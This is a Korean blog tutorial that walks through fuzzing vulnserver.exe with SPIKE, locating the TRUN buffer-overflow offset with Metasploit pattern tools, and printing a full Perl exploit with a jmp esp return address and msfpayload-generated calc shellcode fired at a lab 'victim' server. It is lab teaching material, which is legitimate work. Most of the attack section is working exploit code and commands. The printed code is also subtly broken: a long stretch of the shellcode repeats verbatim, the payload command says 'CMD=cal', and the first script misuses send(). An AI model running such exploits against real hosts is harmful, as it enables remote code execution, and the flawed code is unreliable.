본문 바로가기

Security/Bug Hunting

[Fuzzing] vulnserver.exe Fuzzing && Exploit

※ 주의사항

아래 공격 코드는 연구 목적으로 작성된 것이며, 허가 받지 않은 공간에서는 테스트를 절대 금지합니다.

악의 적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신한테 있습니다. 이는 해당 글을 열람할 때 동의하였다는 것을 의미합니다.


1. 취약점 & Fuzzing & Exploit

◆ 취약점
하드웨어 혹은 소프트웨어의 결함 이나 설계 상의 실수로 인해 일반 사용자에게 허가되지 않는 행위가 가능하게 하는 약점을 말한다.
◆ Fuzzing
Fuzzing 에는 여러가지 종류가 존재하지만 Fuzzing 자체는 취약점에 대해 탐지하기 위해 해당 어플리케이션에 대해 다양한 입력값을 넣어보는 행위를 말한다.
◆ Exploit
Fuzzing 이나 분석을 통해 확인된 취약점을 공격하기 위한 공격 코드 혹은 자동화 공격 도구를 말한다.

2. 실습 환경 구성

구분O/SIP Address
AttackerBacktrack 5 R3192.168.112.139
Test Serverwindows xp sp3192.168.112.137
Victimwindows Server 2003192.168.112.131
[표 2-1] 환경 구성

3. 실습 시나리오

[그림 3-1] 실습 시나리오


※ 스캔을 통해 타겟 서버에 취약한 서비스인 vulnserver 어플리케이션이 구동 중인 것을 확인하였다. 
① 실제 Server 에 대한 공격하기 전에 Test Server라는 vulnserver.exe 가 동작 중인 서버를 구성하고 fuzzing 을 수행한다.
② 실제 공격 코드 작성의 완성을 위해 코드를 수정하며 코드를 수정한다.
③ 완성된 공격 코드를 실제 취약한 Server에 대해 공격을 수행한다.
- 공격의 방식은 간단하게 Server 측 화면에 계산기를 띄우는 것으로 한다.

5. 실습 수행

(1) vulnserver.exe 인터페이스 확인 및 Fuzzing

실제 퍼징에 앞서 vulnserver.exe 의 인터페이스를 확인하여 악용하고자 하는 기능을 확인해야 한다.

[그림 3-2] vulnserver.exe 인터페이스 테스트

[그림 3-2]는 vulnserver.exe 에 대한 기능을 확인하는 것으로 TRUN [trun_value] 라는 명령어를 활용하여 진단을 진행할텐데 이를 위해 Fuzzer Creation Kit 이며 SPIKE를 활용해보도록 하겠다.

[그림 3-3] SPIKE 명령어 활용 구조 확인


[그림 3-3] 은 명령어 구조로 이를 풀이하면 아래와 같다.
./generic_send_tcp [Target IP] [Target Port] [source code] [SKIPVAR] [SKIPSTR]

[그림 3-4] 진단을 위한 trun.spk 작성


s_readline();
s_string("TRUN ");
s_string_variable("COMMAND");

SPIKE 를 활용하기 위해서는 해당 기능을 활용하기 위한 소스코드가 필요한데 이는 [그림 3-4]과 같이 입력된다.

[그림 3-5] 테스트용 서버에 대한 vulnserver.exe fuzzing


[그림 3-4]에서 작성한 스크립트를 활용하여 테스트용 서버에 fuzzing 을 수행한다.

[그림 3-6] 취약점에 대한 응용프로그램 오류 확인


fuzzing 수행 결과로 [그림 3-6]과 같이 오류가 뜨는 것을 확인할 수 있으며 이제 어떠한 공격이 시도되었는지 네트워크 패킷을 확인해보도록 하겠다.

[그림 3-7] fuzzing 에 대한 네트워크 패킷 확인


[그림  3-7]과 같이 fuzzing 에 대해 확인해보니 "TRUN" 이라는 명령어와 함께 아주 많은 양의 A가 전송되는 것을 확인할 수 있으며 이것으로 미루어보아 Buffer Over Flow 취약점(이하 BOF) 이 존재한다는 것이 확인되었다.

하지만 이러한 방식으로는 vulnserver.exe 의 어느 부분에 BOF 취약점이 존재하는지 알 수 없다. 이 때문에 우선 [그림 3-7]과 같이 순수하게 192.168.112.139 -> 192.168.112.137 로의 TCP Stream 을 확인하고 이를 crash.txt로 저장하고 이를 이용하여 앞으로 생성할 패턴의 글자수를 알아내야한다. 

[그림 3-8] crash.txt 글자 수 확인


wc 명령어를 활용하여 [그림 3-7]을 통해 저장한 crash.txt 의 글자수를 확인하고 이제 이 글자수를 활용하여 metasploit 의 pattern_create.rb 모듈에 적용하여 위치 확인을 위한 패턴을 생성해야한다.

(2) exploit 코드 작성

[그림 3-9] pattern_create.rb 를 활용한 패턴 생성


/pentest/exploits/framework/tools/pattern_create.rb 5000

pattern_create.rb 는 스크립트 언어인 ruby 로 짜여진 패턴 생성 스크립트로 이러한 BOF 공격에서 취약점 발생 위치등을 파악하는 용도로 많이 사용된다.

이제 패턴이 나왔다면 이 패턴을 활용하여 공격할 코드를 작성해야한다.

[그림 3-10] perl 을 활용한 exploit 코드 작성


use IO::Socket;

$header = "TRUN /.:/";
$dummy = "pattern_creat.rb로 생성한 패턴"

$socket = IO::Socket::INET->new(
     Proto => "tcp", PeerAddr => "$ARGV[0]", PeerPort => "$ARGV[1]");

$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($header, $dummy);

[그림 3-10]는 스크립트 언어인 perl을 활용하여 exploit 코드를 작성한 것으로 $dummy 에 [그림 3-9]에서 생성한 패턴이 들어가게 된다.
$3 : 소켓을 활용하기 위해 IO::Socket 모듈을 선언한다.
$6 ~ $8 :  $header와 $dummy 변수를 활용하여 vulnserver.exe 로의 입력 값을 생성한다.
$11 ~ $16 : IO::Socket 모듈을 활용하여 소켓을 생성하고 기존에 만들어둔 입력 값을 연결된 소켓을 활용하여 전송한다.

(3) exploit 실행을 통한 vulnserver.exe 취약점 위치 확인

작성된 exploit 로 vulnserver.exe의 취약점을 확인하기 위해서는 우선 vulnserver.exe 를 debugger 에 연결 시키고 에러 위치를 확인해야한다.
본 문서에서는 debugger의 일종인 Immunity debugger를 활용하고자 한다.

[그림 3-11] Immunity debugger를 통한 vulnserver.exe 실행(1) 


[그림 3-11]과 같이 Immunity debugger 의 [File] - [Attach] 메뉴를 선택하여 vulnserver.exe 프로세스에 Immunity debugger 를 연결 시킨 후 F9를 통해 vulnserver.exe 를 진행 시키자.

[그림 3-12] Immunity debugger를 통한 vulnserver.exe 실행(2)


F9를 통해 실행하면 Ready 였던 Immunity Debugger의 상태가 Running로 바뀌게 된다.

[그림 3-13] exploit.pl 실행


perl 로 작성한 exploit.pl을 실행하여 공격을 수행하면 vulnserver.exe 에 telnet 접속했을때와 같은 문자열이 출력된다.
이제 테스트용 서버의 vulnserver.exe를 확인해보자.

[그림 3-14] exploit.pl 결과 확인

exploit.pl 의 결과로 Immunity debugger 의 상태는 Paused 가 되었고 EIP에는 0x386F4337 임을 확인할 수 있다.
이제 이 값을 패턴 탐색기에 넣고 몇번째에 위치한 패턴인지 확인해보아야한다.

[그림 3-15] 취약점 위치 확인


pattern_create.rb 를 통해 생성한 패턴에서 [그림 3-14]를 통해 얻은 0X386F4337 이라는 패턴을 확인하기 위해 pattern_offset.rb를 사용한 결과 2003번째에 위치한 패턴임을 확인하였다.

(4) exploit 수정

이제 어디에서 취약점이 발생하는지 알았으므로 이를 고려하여 코드를 작성하는데 BOF 공격의 특성상 BOF를 일으키고 원하는 주소값을 원하는 위치로 이동시켜 공격자가 원하는 동작을 수행하도록 할 수 있다.
이를 활용하여 vulnserver.exe 가 사용하는 dll 인 essfunc.dll 에 계산기 코드를 강제로 삽입하여 희생자의 화면에 계산기를 띄워보도록 하겠다.

[그림 3-16] essfunc.dll 프로세스 확인


본 문서에서는 BOF 하여 원하는 주소로의 이동을 위해 jmp esp 를 찾아야하는데 이에 essfunc.dll 을 활용하고자한다.
우선 [View] - [Excutable Module] 메뉴를 통해 essfunc.dll 로 접근해보자.

[그림 3-17] jmp esp 주소 확인


[그림 3-17] 과 같이 jmp esp 의 주소를 확인한 결과 0x625011AF 임을 알 수 있다.

[그림 3-18] 계산기 쉘코드 생성


msfpayload windows/exec CMD=cal EXITFUNC=seh R | msfencode -t perl -e x86/alpha_upper

[그림 3-18] 은 msfpayload를 활용하여 실행할 계산기의 쉘코드를 생성하는 것으로 이제 취약점의 위치, jmp esp 의 주소 그리고 계산기 실행 쉘코드를 갖고 실제 exploit 를 제작해보자.


[그림 3-19] vulnserver.exe exploit 작성 완료

#exploit_final.pl
#!/usr/bin/perl
use IO::Socket;

$header = "TRUN /.:/";
$pattern = "\x41" x 2003;
$eip = pack('V', 0x625011AF);
$nop = "\x90" x 20;

$shellcode = "\x89\xe1\xd9\xc1\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x4d\x59\x33\x30\x55\x50\x35\x50\x55\x30\x4d\x59\x4a" .
"\x45\x36\x51\x58\x52\x55\x34\x4c\x4b\x50\x52\x56\x50\x4c" .
"\x4b\x31\x42\x54\x4c\x4c\x4b\x51\x42\x44\x54\x4c\x4b\x42" .
"\x52\x37\x58\x34\x4f\x4f\x47\x50\x4a\x36\x46\x46\x51\x4b" .
"\x4f\x46\x51\x39\x50\x4e\x4c\x57\x4c\x43\x51\x33\x4c\x33" .
"\x32\x56\x4c\x47\x50\x59\x51\x38\x4f\x44\x4d\x33\x31\x38" .
"\x47\x4b\x52\x5a\x50\x50\x52\x56\x37\x4c\x4b\x46\x32\x44" .
"\x50\x4c\x4b\x37\x32\x57\x4c\x33\x31\x58\x50\x4c\x4b\x57" .
"\x30\x52\x58\x4d\x55\x4f\x30\x44\x34\x31\x5a\x53\x31\x48" .
"\x50\x56\x30\x4c\x4b\x31\x58\x45\x48\x4c\x4b\x50\x58\x51" .
"\x30\x53\x31\x49\x43\x5a\x43\x47\x4c\x30\x49\x4c\x4b\x30" .
"\x34\x4c\x4b\x43\x31\x38\x56\x56\x51\x4b\x4f\x50\x31\x49" .
"\x50\x4e\x4c\x39\x51\x48\x4f\x54\x4d\x55\x51\x48\x47\x37" .
"\x48\x4d\x30\x44\x35\x5a\x54\x43\x33\x43\x4d\x4c\x38\x57" .
"\x4b\x33\x4d\x31\x34\x32\x55\x4a\x42\x31\x48\x4c\x4b\x46" .
"\x38\x46\x44\x43\x31\x58\x53\x43\x56\x4c\x4b\x34\x4c\x50" .
"\x4b\x4c\x4b\x36\x38\x45\x4c\x53\x31\x58\x53\x4c\x4b\x55" .
"\x54\x4c\x4b\x55\x51\x4e\x30\x4d\x59\x50\x44\x51\x34\x51" .
"\x34\x31\x4b\x31\x4b\x45\x31\x51\x49\x31\x4a\x36\x31\x4b" .
"\x4f\x4b\x50\x50\x58\x51\x4f\x31\x4a\x4c\x4b\x42\x32\x5a" .
"\x4b\x4c\x46\x31\x4d\x32\x4a\x55\x51\x4c\x4d\x4d\x55\x48" .
"\x4f\x46\x51\x39\x50\x4e\x4c\x57\x4c\x43\x51\x33\x4c\x33" .
"\x32\x56\x4c\x47\x50\x59\x51\x38\x4f\x44\x4d\x33\x31\x38" .
"\x47\x4b\x52\x5a\x50\x50\x52\x56\x37\x4c\x4b\x46\x32\x44" .
"\x50\x4c\x4b\x37\x32\x57\x4c\x33\x31\x58\x50\x4c\x4b\x57" .
"\x30\x52\x58\x4d\x55\x4f\x30\x44\x34\x31\x5a\x53\x31\x48" .
"\x50\x56\x30\x4c\x4b\x31\x58\x45\x48\x4c\x4b\x50\x58\x51" .
"\x30\x53\x31\x49\x43\x5a\x43\x47\x4c\x30\x49\x4c\x4b\x30" .
"\x34\x4c\x4b\x43\x31\x38\x56\x56\x51\x4b\x4f\x50\x31\x49" .
"\x50\x4e\x4c\x39\x51\x48\x4f\x54\x4d\x55\x51\x48\x47\x37" .
"\x48\x4d\x30\x44\x35\x5a\x54\x43\x33\x43\x4d\x4c\x38\x57" .
"\x4b\x33\x4d\x31\x34\x32\x55\x4a\x42\x31\x48\x4c\x4b\x46" .
"\x38\x46\x44\x43\x31\x58\x53\x43\x56\x4c\x4b\x34\x4c\x50" .
"\x4b\x4c\x4b\x36\x38\x45\x4c\x53\x31\x58\x53\x4c\x4b\x55" .
"\x54\x4c\x4b\x55\x51\x4e\x30\x4d\x59\x50\x44\x51\x34\x51" .
"\x34\x31\x4b\x31\x4b\x45\x31\x51\x49\x31\x4a\x36\x31\x4b" .
"\x4f\x4b\x50\x50\x58\x51\x4f\x31\x4a\x4c\x4b\x42\x32\x5a" .
"\x4b\x4c\x46\x31\x4d\x32\x4a\x55\x51\x4c\x4d\x4d\x55\x48" .
"\x39\x55\x50\x35\x50\x33\x30\x56\x30\x33\x58\x30\x31\x4c" .
"\x4b\x52\x4f\x4c\x47\x4b\x4f\x48\x55\x4f\x4b\x4b\x4e\x54" .
"\x4e\x46\x52\x5a\x4a\x32\x48\x49\x36\x4a\x35\x4f\x4d\x4d" .
"\x4d\x4b\x4f\x48\x55\x57\x4c\x53\x36\x33\x4c\x44\x4a\x4d" .
"\x50\x4b\x4b\x4d\x30\x44\x35\x53\x35\x4f\x4b\x47\x37\x42" .
"\x33\x53\x42\x52\x4f\x43\x5a\x55\x50\x51\x43\x4b\x4f\x58" .
"\x55\x52\x43\x55\x31\x42\x4c\x43\x53\x43\x30\x41\x41";

$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);

$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($header.$pattern.$eip.$nop.$shellcode);

[그림 3-20] 은 perl 스크립트를 통해 exploit 가 작성 완료된 것으로 이제 이 exploit를 실제 서버에 실행해보자.

(5) Victim 에 대한 exploit 수행

[그림 3-21] Victim Exploit 결과


Victim 에 작성한 Exploit 을 수행한 결과 Victim 의 화면에 원하는대로 계산기가 나오는 것을 확인할 수 있다.
본 문서에서는 단순히 계산기를 띄우는 쉘코드를 실행했으나 이 쉘코드에 계산기 코드가 아닌 실제 악의적인 행동을 하는 코드를 삽입한다면 더 큰 피해를 일으킬 수 있을 것이다.




'Security > Bug Hunting' 카테고리의 다른 글

[Fuzzing] 3 Com Tftp Fuzzing && Exploit  (0) 2014.07.28
Bug Bounty Site  (0) 2014.03.30